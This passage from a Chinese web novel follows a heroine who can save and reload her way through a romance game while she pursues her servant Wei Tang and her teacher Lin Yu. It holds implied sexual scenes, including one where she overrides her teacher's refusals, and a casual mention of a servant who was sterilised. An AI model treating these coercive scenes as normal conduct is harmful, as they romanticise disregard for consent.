【小姐好宠我】 他修长的、才洗过衣服泡皱的指头缓缓比划着感动的话语。 【以后也会更喜欢我吗】 “你想要我‘更’喜欢你?” 卫棠点头。 【我要小姐和别人在一起时,心里也想着我】 他跪到地上,膝行到你身前,拿方才被你盯过的指腹搭着你手背上的皮肤,一点点打圈。 从下向上仰望的眼中,是一种出身烟柳之地的人特有的媚色。 “小姐不必有负担。” “我……有我的手段,让你记住我,离不开我,更喜欢我。” 他低声在你脖颈处说着这些话。 呼吸扰得你发痒,抬手扳正他的下巴,看他在你掌控之中濒临失控的眼睛。 你明知故问:“脸怎么红了?” 【小姐以为呢】 你攥他的手指:“不过对你说些好听的话罢了,就想把自己给我吗?” 他要比划手语,但手指被你牢牢握住,动弹不得。 便只好撑起身,像刚刚一样靠在你的颈间。 “小姐真坏,你不说我也想给你。想每天都给你,时时刻刻给你……” “以后,可一定要对我好,要比对你夫君更好才行。” “我要是不呢?” “那我就欺负他,你会配合我,站在我这边的,是不是?” “……” “是不是呀?”他故意使坏,指尖勾起,让你化成一滩水。 “……不是。你不听话,我要纵容我夫君欺负你。” “我不信……你才舍不得呢,景蕊……好喜欢你……张开些……” 热意充斥最重时,你听到门口传来“咚咚”声。来者敲门敲得迟疑,辨认出水声来源何方后,立刻离开,留下一串落荒而逃的脚步声。 谁? 不重要。 和卫棠在房里玩了一小个下午。 你叫洗澡水净身。洗干净头发才进浴桶里泡,卫棠拿布巾擦你的长发,擦着擦着脸埋进去蹭蹭:“好喜欢你,好喜欢你哦小姐。” “脸干净吗?” “都洗掉啦。坏小姐,嫌弃我。” “你说话好夹哦。” “不好听吗?” “挺可爱的。” 卫棠哼哼笑,下巴从后面搁在你肩膀。 笑着笑着,他担忧地叹口气。 “小姐以后想嫁什么人呢?要是真的不容我该怎么办?” “我要被赶出家门吗?那我上吊死了算了。” “没人能赶你。”你想了想,“不过……” “不过什么?”他如临大敌。 你道:“我成婚以后,可能你我之间就不会有今天这样的事了。” “今天……”他反应过来,有些发愣,“为什么,小姐只想要一个男人就够了吗?那人不如我怎么办?” 应该不会。 “只说以后不能做这样的事,你还想留在我身边吗?” 卫棠没有犹豫:“想。” 他安慰自己,不做就不做。他跟在小姐身边是爱小姐,而不是为了行男女之事。 保持距离的要求被答应,你心里反而遗憾。 卫棠看出你的心思,将头和你靠在一起:“不是还没成婚吗?这些日子想做什么,我都陪小姐。我们在一起,比什么都重要,万一你嫁的那人死了……” 当日傍晚,你在母亲房中用膳,月梧、卫棠随侍。 饭桌上很是静谧,能听到远处狗吠声。 母亲举止优雅用瓷勺喝汤,月梧给她打扇,卫棠站在你身边,神情认真剥鱼的刺。 如果这是真实,停步在这里就很幸福。 游戏是需要更多可能的。 林彧许久没有在家中露面。师父们怀念他。 “不管性情如何,至少相貌天姿国色,每天笑眯眯看人。” “他去哪了呢?” 你陪着景妍习字。 都是这样的,师父教过你以后再去教景妍,除了林彧。他只听景妍弹过几次琴,通篇夸赞,并不作深指点,许是没看上景妍的琴技,父亲也不强求。 “云衢,你来了?” “见过陈师父,我来送宫中新赐下的墨。” “……啊!”陈思飞深深、深深地吸了口气,“李墨啊……竟然赏赐下来……” 且收到赏赐后,给自家小女儿练字用。 “景妍,让师父写两笔如何?” “好啊师父。” “太好!多谢!林大人说的是,山里到底不如外界,我要是在深山里过一辈子,怕是无缘此墨,含恨而终!多亏了景蕊!” 你笑:“不客气,陈师父。” 云衢立在案边,无声帮二人研磨。他穿着青色衣衫,衬如古井般无波幽静。你看了两眼便不再看,反正之后要走他的线。 “啊!我的墨!不……是你们的墨!云衢!墨溢出去了!快用这支笔蘸蘸!” 陈思飞手忙脚乱地找他的爱笔,云衢愧疚地松了手,后退一步。 景妍则拿着笔,未临摹完的字帖中抬头,一脸懵。 场面嘈杂。 云衢望向你,被你回望以后,视线如落花般轻飘飘吹起,再没落到你身上。 见陈师父与景妍已收拾好了墨,不再需要他,他便将墨盒放到一旁,影子般往外面走。 他之前便是性格沉静的人,但是沉静到这种程度的情况,除了刚来家里那段时间以外几乎没有。 你跟了上去,在假山遮蔽处叫停他。他听到你的声音,步子停住,但停了几秒又再度迈开。 你跑过去拉他的手,想问他怎么了,有什么心事。 不是善良,而是好奇。 意料之外的,他就着你拉他的姿势反手过来,指头钻入指缝,与你十指相扣。 ……? “景蕊姐,找我有事吗?” “……” 你晃了晃与他连接的手。他漆黑的眸子转向一旁,攥着你的力道松了下来,手指慢慢与你分离。 “抱歉。” “因为什么道歉?” “……” 你给他台阶:“是因为给景妍磨的墨水兑多了吗?” 这时候他说是,你就当什么都没发生。 你不吃别人的暗恋,既然没勇气拿到你面前接受审判,那就当不存在。 云衢忽然叹息。 他面上严肃而郑重:“不是。” “不是这样。” “方才唐突是我心乱,我……” “姐姐昨日在房中,是与卫棠行房了吗?” 你愣了下:“好直接。” 云衢嘴唇抿成一条线。他道:“抱歉,我并非冒犯。” “姐姐…怎可在成婚前与人行云雨之事?那种没名没份的人不会珍惜你!你可曾为自己的身子着想过?” “我娘……我娘便是生我……落下一身病……” 他说不下去了,眼泪簌簌而下。 “我不想姐姐有孕,不要这样……不要……” 他的哭泣没有声音。还是小时候的习惯,不想给别人添麻烦,不想暴露自己脆弱的一面,哭的时候眉毛都不皱,唯有眼泪成行落下,瞳孔像湿润的阴云。 你以为他今天说这些话是吃醋乱发脾气。 原来是担心你的性命。 “我没事的。” 卫棠被母亲处理过受孕的问题,在收养他的那年就灌了绝子的汤药。 你把这件事告诉他,换来他的一阵沉默。 “姐姐是喜欢他吗?” 走出了生命危机,开始担心别的事。 你觉得有趣。 “我这次喜欢林师父。” 云衢先是惊讶,而后疑惑:“这次?” “是的,这次。” * 林彧旷早朝与太子教习课程数日,时人称奇,背后议论他到底准备憋出什么坏水,才说了名字,就听见他来家中拜访的消息,战战兢兢接待。 他父母年岁高,在朝中辈分也高,与半百老人称兄道弟,指明要看家中长孙、次孙、季孙。 他们觉得林彧是被他大哥骂疯了。 但人们对长相好的人宽容,哪怕他是个疯子。 “小佑,给林大人弹首琴听听。” “啊?哦。” 林彧微笑听完曲子,在心中给此人的画像涂抹黑掉。 这个,也不行。 陆续见了许多与景蕊适龄的少年人,他现在看谁都是一张脸。 心情不爽,没坐车,自己骑马归家。 路上男男女女朝他的容颜侧目,他都当作没看见。 将到府门口,远望一人玄衣玉立,昳丽灵采,他稍微凝神,在心中审视。 距离近些,美少年的模样清晰入目,他被火焰吞没。 “小舅舅,我母后让我……哎!看见我怎么不理人!你是生我的气?为什么?我没说过你重话啊!难不成是我好欺负!” “喂!喂!” 林彧吩咐亲随:“关门。” 亲随:“……” 主子,他会掉脑袋的。 “小舅舅!太傅!” “林彧!” 赵晞动怒:“皇后娘娘召你进宫,要为你议亲了!” 第89章 一月没见过林彧。 你的本意是想用威胁的办法, 假意让他帮你找夫君。然后无论他带什么人来你都拒绝,最后在他束手无策时说勉为其难嫁给他。 期间透露一些小细节,让他感觉到你仰慕他, 等他认定了你喜欢他, 再若即若离, 吊他胃口,直到他身心臣服于你, 离不开你,再温柔以待…… 凭借对各种时空的林彧的了解,你对自己的计划很有信心。 结果计划卡在第一步。 他为什么一直没出现? 你去见母亲。 “娘, 我能去探望林师父吗?好长时间没看到他, 我有些担心。” 母亲知道你那天将人拦在门口说话的事,林彧便是在那之后不再露面。 她看你的眼神有深意。 “没递拜帖贸然前去, 你知他是否有要务缠身?抑或是身体抱恙,不便出门见人?无故打扰太失礼了。” “嗯……” 让你来确认一下。 调出虚拟面板, 点击【人物档案】。 林彧并不在疾病状态,目前的状态也是空闲,最近的一项事件是……【应对宫中赐婚】。 “……” 赐婚? 不允许哦。 你随口跟母亲告辞,打算闯去林府见他一面。 被母亲叫住。 “景蕊心中的人, 原来是林彧吗?” 没有隐瞒母亲的必要, 你点头。 “林彧此人……你要知道, 他在官员间风评不好。只有你爹这种八面玲珑的人勉强能结交他,还要处处留心, 以防得罪。你们师徒多年, 想来也能感到他不是个好相处的人。” 你不为所动:“娘,跟谁都好相处的夫君,我不要;被我爹认可的男人, 我更要深思熟虑。” “深思熟虑清楚,到底是什么缺点让我爹得到了共鸣。” 母亲:“……哈。” 她拿帕子抵唇。 “……再如何,他也是你爹啊。” 话是这么说,她倒是很快意的模样。 想着也是,女儿这般有主意,选的人定为心中所爱。 年龄差些不妨碍什么,她粗略估算,也就大了十二岁余几月。林彧如今容光正好,瞧着比少年时稳重和善许多。虽眼下因政见不合与皇帝疏远,但他是宫里长大的孩子,陛下又以仁善闻名,无须忧虑处境。 “娘问你,你喜欢林大人哪里?他可也心悦于你?” 你道:“他长得好。” 游戏建模无可挑剔。连续两关,每个npc都有独特的容貌风格,各有所长,这让你无论走谁的线都很有新鲜感。 “我也有办法让他心悦于我。” 果然是长相。 母亲再没别的话好说,含笑望你,抬了抬下巴:“去吧。” 你迈出屋外,想叫月梧准备马车,转念一想,这时没有拜帖随便去谁家似乎不可行,林彧并非独居,他还和父母住一个宅子。 且这种正式流程需要通报,如果林彧存心避而不见,派人出来搪塞,可能就白走一趟。 思考片刻,你决定用道具变成麻雀飞去找他。 这是麻雀三代的样子,羽毛和你最先开始变的那只花色不同,橘色的毛多几根。 有过一次道具超时变回本体的经历,你每次变幻的形态都会做出一些改变。一个样貌限时72h,在此样貌之上多添一颗痣或一丝白发,就不算同一张脸,使用时间也会重新累计。 麻雀是常见的小鸟,无论飞去什么地方都不会有人起疑,是你使用最多的形象。 然而才飞上高空,你就发现一个关键问题。 你不知道林彧的家住在哪里。 只好下落回自己的院子,存档找来月梧,问她林府的位置。 月梧拧眉回答你的问题。 指明路线后,她道:“小姐,你要去找林大人?为什么?夫人知道吗?” 读档回到问她之前。 迎面望着月梧走近,你与她打招呼,等她经过,她却停步在你身侧。 “小姐想做什么?” “嗯?没。” “是吗。”她目光严肃,显然把你看穿,“无论小姐瞒了何事,一定要护好自己。” “……我会的。” 等月梧不见影子,路上也没其他人时,你变作麻雀,按照月梧指出的路线飞往林府。 盘旋在宅院上空,你记住一位丫鬟的模样,趁她去厨房忙碌,落地变成她的形象。 你随手拉住一人:“公子在何处,沈府的景蕊小姐派人来送东西给他。” 丫鬟疑惑:“你说哪个……沈府小姐?啊,是四公子。要送什么东西呢?” 你道:“小姐说只让林师父看。” 丫鬟道:“好吧。” 她便要走,你拉住她胳膊:“还没告诉我四公子在哪。” “四公子不是闷在房中弹琴吗?你听。” 是有幽怨的琴声传来。 你撒手对她笑:“昨晚没睡好,人糊涂了。” 丫鬟满不在乎地应声,往石径方向忙去。 你循琴声而行,在园林里绕许多路,也没找到林彧弹琴的地方。走得烦了,你立在原地给游戏官方发反馈邮件。 【我要定位路线导航。】 上一封反馈的邮件是希望获得与动物交流的道具,页面显示已被拆封,官方回复说技术团队会努力上新道具,敬请期待。 说了跟没说一样。 “你。” 你散漫抬头,叫住你的是一位华服男子,相貌端正,有中人之姿。 “就是你,愣着做什么,过来,今日本公子院里晒书,居然在这躲懒?” “……” “怎么,不愿意干活?” 你低头:“没有。” 快步到他身边,视野调换,敞开的院门映入眼中。里面来往长队的丫鬟与小厮,手中皆捧着高过头顶的泛黄书籍。 你参与进去,进到书房四下环顾。除了熏香味道不同,每家的书房都大同小异。 指挥人与华服男子对话,你听出了这是林府二公子的院子。 “李指挥使上回献的昭录还完好无损呢,偏这本书躲过了潮气,笔画都清晰着。” “有价无市的宝贝,定要给我好好保存。” “自然,公子的东西,奴才必然用心照看。” 你在书房里侧翻到一些闲书。 【1】话本,剧情流,侠客闯荡天涯的热血故事。 【2】皇书,感情流,附有图示,剧情恶心,扔掉。 【3】无法言说图册,画风诡异,不懂兴趣从何激起,扔掉。 …… 你带走了侠客话本。 这本书混在整层书架里宛如清流。 从窗子跳出去,贴着墙边躲过别人耳目。 琴声不知什么时候停止,听见时无处寻找,停了以后更加没有头绪。 你依然随手拦一位路人:“二公子让我把这本书转交给四公子,四公子人在何处?” 路人道:“在琴室吧,我刚刚还看到他在那边发呆。” 存档。 “在哪边呢?” 路人皱眉指路:“拐过这棵玉兰就是啊,你怎么回事,是新来的?” 读档。 “好,我这就给四公子送过去。” 你朝玉兰方向走,晚秋时已不见叶片,树干光秃秃的,瑟瑟风中摇晃。 心中思索在哪里撤掉道具效果,抬眼看到被你使用样貌的那个丫鬟。她吓得失语,缓了好久,摔了手中茶盏托盘仓皇逃窜。 “救命!妖怪!妖怪啊!” 你:“……” 趁她没引来其他人,你坚定跑向林彧的琴室。进门的前一刻变回自己的样子,恰好起了一阵风,将你的裙摆与衣袖吹起,仿若浅蓝色柔软的花瓣漫开。 不经允许敞开的门扉。 林彧望见了这一幕。 你回身将门关死,跑到他身边。 “林师父,帮帮我。” 外面响起喧嚷。 “妖怪在哪里?” “怎不见影子,你骗人的吧?” “我没骗人!我真的看到了!她……她或许就近躲到哪间房里!” 愣怔过后,林彧迅速理清现状,回头望琴室,将你藏在琴柜中。 “坐得进去吗?” “嗯。” 他的视线在你脸上多停留片刻,将柜门轻合上,坐到琴架前拨弦弹奏。 琴室的门被敲响。 “四公子,府中出现贼人,琴室可有异样?” 丫鬟恐慌道:“不是贼人,是和我长得一样的妖怪!” 林彧道:“并无异样,琴室中只有我一人。” “为了四公子安全考虑,还是放我等进去搜查一番,贼人可能潜藏在暗处。” “若我说不行?” “四公子……” “二公子,您来了!敬梨方才在这附近看到了妖怪,属下怀疑是恶贼用了惑人手段,如今见不到人在何处,可能埋伏在琴室中。” 二公子道:“还不进去搜?至少开门看一眼,万一四公子正被人持剑威胁着该如何是好?” “是!” 琴室的门被一队护卫破开。 林彧脸色阴沉扫视来人,手平搭在琴上。 “二哥,你什么意思?” “担心你的意思。”他示意人进去搜,“仔细翻翻,什么能藏人的地方都看看,穷途末路的人什么事都做得出来。” 穷途末路,指的不止是闯入的“贼人”。 林彧斥道:“退下!” 护卫头领一脸为难:“四公子,扫清府中威胁是属下的职责。” 眼看着人要冲进室内,林彧揉了揉额角:“皇后娘娘说的亲事,我……” 你踹了一脚琴柜。 原本聆听他后文的二公子与护卫们瞬间涌入,无论林彧怎么喊停步,都无人理会。 二公子表情十分兴奋。 他倒要看看这个从小被冠以天才之名的季弟在打什么主意—— 琴柜打开。 林彧不动声色松了口气。 你不在里面。 他们又搜了其他地方,都没人。 “二哥,闹够了吗?” 看到林彧难看的脸色,二公子笑了声。 “那个人逃走了,你运气不错。” “本就没有那个人。” “谁知道呢。” 抓不到人,看好戏的愿望落空,二公子也不扫兴,随口跟弟弟打了声招呼便带人离开。 护卫们请罪后也迅速退离,走时将门小心关好。 林彧感到屈辱。 过去他在家中说一不二,无人敢这样造次他,几位兄长都对他唯命是从。 如今算是反过来了,谁都不听他的话,谁都能忤逆他的意愿。 “……” 不重要。 “景蕊?” 他低声呼唤你的名字。 你不在琴柜里,是趁他们吵嘴时躲到其他地方了吗? 还是说今天见到的你只是幻象,只是他的一场梦? “林师父。” 你手里捏一本书,出现在他的身后。 并非梦境。 林彧调整表情,镇静面向你。 “突然来我家,递拜帖了吗?谁教的你礼数?” 你将手里的话本扔到他身上。 “皇后娘娘给你议了亲事?” 书脊砸到他胸口,痛得他脸色一白,却没有怒意。 他不受控制地将书攥紧:“是又如何?” 你又弯腰捡了坐垫扔他。 “你说如何?我的亲事呢?你的办法呢?我以后嫁给谁?你倒是娶夫人了?” 林彧:“……” 无数心绪堵着喉咙。 不能细想。 他冷脸将一本名册从琴谱后抽出给你。 里面记载熟悉的人名,都是你在卫棠线里相亲过的人。 你安静下来,挨页翻看。 名册又被他夺走。 第90章 “林师父?” “……都是些不入流的, 看了徒耗时间。” 林彧将名册放置身后,没什么表情:“我既答应你,便会为你寻到家世相当、品行端方的公子。今日你私自前来, 是不信我?” 你道:“林师父不高兴吗?” 林彧眼睛瞥到一旁:“为何不高兴?” “那便是高兴了。” “……” 你上前一步:“林师父马上就要有夫人了?是谁家淑女?皇后娘娘亲自给你挑选的, 想来你应该很满意吧?” “……” 他蹙眉, 心中莫名随着你的话发紧:“我有无夫人,满意与否, 同你有什么关系?越来越肆无忌惮,我再多教你几年,是不是要踩我头上了?” 你道:“你自己说帮我找夫君, 结果那么久不来见我, 我偷偷来找你是担心你安危,却听见你有夫人, 你这段时间原来在忙自己的事,我生气不对吗?” 林彧呵笑一声。 “对, 你对得很。” 笑过,脸色阴沉。 “没良心,出去!” “我这些时日,晨起出门日落归家, 每天去那些讨厌我的人宅院中拜访, 是为了什么?为我不存在的夫人, 还是他们家茶水好喝?” 你无声沉默。 他瞧着有些受气,索性背过身望墙上的画。画中奇石怪叶, 盛放一朵鸢尾, 取色浅蓝,正是你襦裙的颜色。 火气烧到指尖,竟有些刺痛。 正要攥紧掌中, 被一双微凉细软的手捏住。 “林师父的夫人不存在吗?” “松手。” “林师父为我那么辛苦了,怎么不来邀功?我会奖励你的。” “……” 收获到他无语至极到震惊的眼神,你对他笑:“说说而已,师父还气不气了?” 你的笑无理而柔软。 又没哄他,说了更烦人的话,哪来的脸问他还生不生气。 但他不忍再说重话。 “我阿姐要将陈美人的公主许我。” “哇,公主,她很美吧?” 你敷衍地应答,绕过他,拿那本名册在手。 “林师父,我们还是看看我的婚事。” 林彧:“……” 你翻开第一页,拉他坐下。垫子方才被你拿去摔他,如今你们都只能干坐地板。 你有意靠近他,午睡醒时卫棠给你涂了香膏,手腕里侧隐约传来橙花香味。 林彧闻到了,抬眼瞥你:“身上是谁的味道?” 不曾设想的反应。 “我身上,自然是我的味道。” “你不是这个味道。” 你无语:“那你说我是什么味道?” “你……” 林彧不再说话,下巴朝你放在腿上的名册抬了抬。 “不看你的婚事了?” “看。” 你朝他挪近些,和他手臂彻底贴在一起,挨个名字指给他看。 “我不知你要实地考察,其实这些人我都大致了解。” “这个胸无点墨,说话时总喜欢开些自以为是的玩笑。” “这个身量太矮,我喜欢一米九,最矮也要一米八三……也就是……” 闲来无事估算过,此时期一尺约等于三十二厘米。 “五尺八寸到六尺,以下的身高都筛出去吧,胖的我也不要,一点点胖都不可以。” “如此……这一页就都涂黑。” 你起身到一旁拿笔墨,回来依旧紧挨着林彧。身上清淡的暖香与橙花香混杂着,清新甜腻的橙花此刻极有攻击性,仿佛有另一只手在攥着你的手腕,随时能将你从他的身边带离。 林彧自始至终不发一语。隔了两层衣料,是你的手臂。他没见过,应是纤细的、美丽的、不堪亵渎的。 师生之间,不该这样近。 他撑身移开,被你有意无意拉住衣袖。 “林师父要去哪?” 你将整整一页男子的名姓用笔迹染黑,毫不留情,随意的一划浸透墨迹,斩断了那些男子与你的所有可能。 他明明不在其中,却能在假想中感同身受,为他们心苦。 “要看下一页了。” “你认识他们?” 反应过来时已经说出口,没法挽回,丢脸的询问使他无措。 你认识他们,至少见过他们。不然怎会了解每个人的相貌,指出瞧不上的缺陋,言辞带有轻蔑与厌恶。 可你是如何认识的他们? ……等下。 歪了。 不对劲。 他一开始只为影响到你的婚事心虚。 月余以来,他都把这件事放在心上,郑重挑选与你合适的男子为你择定婚约。 他看着你长大,内心排斥那些男人,可以理解为对学生的看重与不舍。 但今天,许久不见,骤然在不可能的地方见到你的面容,他就有奇怪的感觉滋生。 像是沉在湖底的心脏忽然急速浮上水面,时而憋闷,时而紧缩。 清晰可见的是,他不喜欢你对那些男人了如指掌。 你不悦于他的亲事、你的每次靠近,观察他的眼光,都像撕裂伤口般欣赏他的痛楚,恶劣而纯真地笑问他痛不痛。 他不是傻子,且自认聪明。 你不是孩子,且长成了风姿绰约的贵女。 你们今日的相处并非师生,也未把他当作师父尊重。 而是作为异性,隔着一层朦胧的纱在逐渐靠近。 而他不排斥。 禽兽。 林彧认为自己该离开,或者把你赶出去。 但比那更重要的是—— “你认识他们?” “怎么认识的?” “你父母知道吗?” “你私下同他们见过面吗?” 你随手翻页,推他一把:“好吵,闭嘴。” 柔软的触感和橙花味留在了他的脸上。 你的冷遇,敷衍,还有那些你与别的男人鬼混的画面,割断了他脑内名为理智的弦。 你在看林彧的字。名册之中,每页记述是由他手下收集,但他会加读注。用词辛辣,让你觉得世上所有消极的词汇都集中在这本册子里,几乎没有重复。 钻研学习好一会儿,从嘲讽人高端技术中抽离。 你感受到身边人的失常。 抬头看见他在哭。 不,没哭,只是红了眼眶与眼尾,跟爱哭的人比起来有那么一点骨气,但不多。他盯着虚空中的某处出神,鸦羽般的长睫一动不动,一层水光浸润瞳孔。 有点好笑。 你做什么欺负他的事了吗? 侧看他的鼻骨有一道微凸的起伏,很想用牙齿咬来试试看。 存档。 指缝夹着沾墨的笔,你搂他的脖子欺身而上。膝盖压他的腿,感受到他一瞬间的绷紧,自上而下咬他的鼻骨。 呼吸间满是他身上的木香,触及他洁净细腻的皮肤。 林彧沉默。 须臾,他经过了好一番的犹豫,抬手握住你的腰,使力将你与他分开。 “玩够了吗?” 你分明不喜欢他。 却还这样捉弄他,看他陷入其中。 你会在心里嘲笑他吧。 “林师父,你在生气吗?” “……回去。” 你依然压在他怀里,只是被他攥着腰撑远些。 抬手捧他的脸,你道:“是在生气吧。” “你变得不像林师父。” “林师父无论心情如何,脸上都带着笑。别人说什么都气不到他,还要被他笑眯眯反气到跳脚。” “……” “谁欺负你了?” “谁把你逼成这副疲惫的样子?跟我说,我帮你处理他们。” 你压低身子,靠近:“不会是我吧?” 你的模样变得模糊。 不,不是你在模糊。 是他,他的眼中多了不想提及的某种东西,将你泡在里面。 你抱住他,墨从笔尖滴落,在他的白衣上留了凌乱的痕迹。 “我知道你在做什么。” “你的想法是对的,但太激进了,比我知道的那些人还要天真和急性子,记在史书上要被后世笑话。但过得再久一点,就有人赞美你有远见卓识,是这个时候的人不懂你。” 他将你拥入怀中。 贴在一起,橙花味愈发鲜明,仿佛看到你与气味主人相拥而眠,探索过身体的每个部位。 是谁? 卢云衢,杜枕溪,还是他不知道的其他人? 你这边在持续输出。 “我懂你。” “在我眼中,你的漏洞也真诚得可爱。” “以后我们在一起,我会用恶毒的手段帮你达成目的,因为我做坏事总是很顺利。” “但并不只是为了你,而是因为我也想做成这件事玩玩看。” “没有冒犯林师父的意思。我说的是师生之间,林师父对我和我对林师父都很清白的。” 你移开身体,站在地上抻裙摆压出的褶皱。 那支笔不知何时落地,滚去了什么地方。 没人在意它。 捡起名册与侠客话本,你笑着跟他道别。 无视他动摇的目光,与几近脱口而出的挽留。 还不到时候。 步子迈出林府琴室。 “……” 覆盖存档。 你回身重新走进琴室,将门关紧。 去而复返,还是想做。 林彧愣愣望你走近他,蹲身与他接吻。 他撑地的手瞬间收拢,僵硬地感受你湿润的唇。 碰到舌,他想后退躲开,你没有给他机会,捏紧他的下巴。 “不可,景蕊,我是你师……” “嗯,好。” 你松了他的唇瓣,“不喜欢是吗?不亲了。” 没等他感到怅然若失,你又凑近亲他,这次用力了些,还扒了他的领口。 “管你喜不喜欢,林师父,给我用下。” “干净吗?” “沈景蕊!” 他惊醒般,“不要!你这样我们……” 说着拒绝的话,却半推半就地闭上眼,接受你的吻,和你想做的一切。 之后,衣衫不整的他从琴中拔出一把剑,跪伏呈给你。神情绝望,仿佛浴火成烬。 “杀了我。” “……” 你有些想笑,即便读档页面已经调出,也还是短暂停留,用脚挑起他的下颌。 “林师父,喜欢你。” “……” 冰火两重天。 一边是爱与接近的欲望,一边是他如履薄冰的坚持。 两相争斗,让他变得很有趣。 90-100 第91章 读档, 回到什么都没发生前,从林府琴室离开的时间。 消遣过后的余韵被时空跳跃抹除,但精神上还是获得了放松。 密闭的、满是木香的琴室, 软柔丰盈、垂散在半空的黑发……一些画面残存眼底。 清雪般冷冽的脸孔被愧疚与别的情绪折磨, 欲望沉浸在禁锢与放纵之间, 隔着痛苦的抽泣时断时续,仿若利器剜心, 想结束却无法结束。 总之他很好用。 怀抱两本书,你扶着墙壁小心走石阶下去,目之所及出现另一双靴鞋, 玄色衣摆绣了竹枝暗纹。 你抬头扫了一眼, 与林彧有几分相似、气质却天差地别的姝丽容色映入眼中,想到这个时间线里你没见过他真实的相貌, 便只颔首见礼,侧身让路。 赵晞停在原地不动, 黑润的眼眸淬了冰般盯视。 “沈景蕊,你在林彧家?” 你做出了惊讶的表情,“我……公子认识我?” 赵晞一时语塞。 认识,当然认识, 只不过你认识的他是另一副被你深深嫌弃的面孔, 而他认识的是完整的你。 趁他愣怔, 你迅速从他身边经过,到没人的地方把书本揣进衣袖, 变成麻雀飞走。 等林彧反应过来该送你, 追出来时,只看到了石阶上沉着脸色的太子,忙乱的步子顿住, 立在原地望他。 “殿下。” 赵晞眼神落在他雪白的衣衫,上有凌乱的墨迹,这种墨迹在你的袖口处也出现了,衣襟的褶皱也对得上。 你们方才做了亲密的事。 “你迟迟不成亲,就是为了她?” “我三姐哪里……哪里比不过她?” 后半句他说得很轻,很没底气。他对沈景蕊有情,已经认为她是世上最好的女子。就像喜欢三姐的人会认为她在世上独一无二一样。 “你们……私相授受……你不要脸,以为她也不要吗?仗着自己年纪大,就勾引她,你……” 垂在身侧的手攥成拳,赵晞深呼吸,抬眼:“看错你了!我三姐你别想娶,我要回宫如实禀告我母后!” 林彧淡凝他一眼:“悉听尊便。” 他迈下石阶,朝玉兰树外张望:“看到她往哪个方向走了吗?” 赵晞:“……” “你心里是只有她了吗?你连礼义廉耻都忘到脑后了?你都不跟我解释吗?” 你的踪影已经消失在宅院之中,走了个彻底。 林彧浮动的心绪一点点安稳到心弦之上。 他知道你的身手,由衷欣赏你做什么都能做到最好的意志与毅力,所以并不担心你独自行动。 “你们到底在房里做了什么?” “论道。” 林彧睫毛还濡湿着,一贯讥讽待人的人,此刻语气竟然柔软,“她说我不像我……” “……” “你怎么突然关心这个,之前不是抗拒跟她的婚约?” 赵晞绷着脸。 都会变的。 人不是永远都一个样子。 讨厌了一阵子,就永远都不能喜欢吗? 他就是喜欢上她了,有什么办法。 她和他一样用伪装经世。 她能射出最快的箭,能永远不慌不忙地把在意的人护在身后,遇见不平之事也总是第一个站出来,用她无解的力气和丑态解决麻烦。 明知她是谁,明知她被家中娇惯得不成样子,小时候对姨娘庶妹干出过伤天害理的事。 又偏偏在她身上看到不同的,和别人都不同,连他也比不得的一面。 这种人在身边,没人会不喜欢。 他也错怪她了。 以为她有以貌取人的坏毛病,以为她看见戴面具的他时眼含排斥,见到原本的他就会和其他庸俗的人一般露出痴迷的目光。 并不是。 她只是目光稍微停留在他脸上就离开了,还是他硬要拦着她,跟她说话。 所以她之前只是单纯讨厌他。 女孩子讨厌陌生男人再平常不过,他却误会。 如今已经什么都来不及。 她喜欢上林彧了。 “不像他”。 他不就是他?哪里不像,鼻子眼睛嘴巴全部都一样的,永远那么傲慢、可恨! “你们要成婚吗?” 林彧心不在此,没分辨出他语气的低落。 他心里也正难受。 “我还……” “还什么?” “还不确定她是否对我有意。” 赵晞嘴角抽动,事到如今说这种话,是对他炫耀吗? 大怒:“没有,没有没有!她对你无意,你开心了吧?” 他甩袖离开,少年人脚程快,几步下了石阶,回头恶狠狠瞪他一眼。 * 回家后几天,你没再关注林彧那边的动向,放置等待结果。 躺在暖融融的榻里,被子上压着猫,肩头靠着卫棠,给他们读侠客话本听。 是一本不错的故事。主角乞儿无父无母,流浪漂泊,人们可怜他,他却说天为父,地为母,别人的家被墙框起来,而他的家是整个天下。 听见的路人当然要嘲笑他。但他并不往心里去,饥一顿,饱一顿过着生活。 卫棠听得入神,有些感同身受。在遇见你之前,他过的就是那样的日子。甚至不如主角,因为容貌,他常常要提防自己被什么人看中,抢回家凌辱。 “然后呢,小姐?” “然后突然来了异族强盗,烧杀抢掠,无恶不作……” 主角认识的、不认识的镇子上居民大多数死于那些坏人之手。他凭借自己的机灵逃过了灾祸,但他想为这里的人做些什么,至少撑到官兵赶来之前保护剩下的人。 于是他设计陷阱,让那些坏人吃了不少苦头。在此期间,他结识一位少年侠客,英俊风流,还救下一位世家小姐,美丽多才。 他们三个行动,多半是侠客出力,他出计谋,小姐查探望风。 世家小姐当时是被侠客抱着转圈圈获救的。 但她并没有因此爱上那人,她更愿意接近主角。 卫棠疑惑:“他一无所有,那小姐是看上他什么呢?因为他是主角吗?” 你道:“主角也是这样问的。” 【我一无所有,你喜欢我什么?】 “小姐答,‘你一无所有,我却拥有很多。所以我不在乎你有没有,我只在意自己的心。我喜欢谁,向来不管顾那些。’” “乞儿问,‘你管顾什么?’” “小姐答,‘管顾你的勇气,你的善心,你的智慧。你从不看我的美貌,金银首饰,我也一样,喜欢你,认定的就只有你而已。’” 卫棠感动道:“他的小姐,和我的小姐一样好。” 你摸摸他的头,心里想的却不是他,而是另一个人。 这种爱情标准很熟悉,不就是太子天真的脑回路吗? 他是看过这本书? 你将手横在其中,倒回看书的扉页与末页,没见名字。 “小姐看腻了吗?” “没。” 你继续给他读。 后面,他们历尽千险拯救了镇子上的人,将坏人赶出小镇。侠客的师父赶来,听闻乞儿的事迹感怀不已,将他也收为弟子。洗去泥污,乞儿成了清秀的少年人,收获一身功夫。 他拒绝了侠客回归师门的邀请,和小姐踏上了寻找古书美景的征途,一路行侠仗义。 小姐也学习了防身的功夫,游览美景时常与他分开行动。然后在他行侠仗义,惹到麻烦时笑着救他脱困…… 结束了。 卫棠无比向往。 “小姐明日得空,能否指点我些拳脚?” “好啊。” 他开心地抱紧你,挤开黑猫埋在你的胸口。 黑猫喵喵骂他,甩甩尾巴换其他舒适的地方趴着。 书读完,你捏着边缘“唰唰”翻页。 向上伸直手臂,将书本与眼睛相平。 不断翻页出神,偶然看到页脚有个梳双髻的小人在练剑。 稚嫩的笔触,不符合人体构造的动作,傻呆呆耍着剑招。 很小的一块,如果没有翻动,你没有这样好的视力,应该无法发现,只以为是什么记号。 正翻、倒翻是不一样的招式。 这个也挺可爱。 出于严谨的态度,你在此处存档,读档去废档中,厨房做菜后成为太子朋友,与他促膝长谈的时间点。 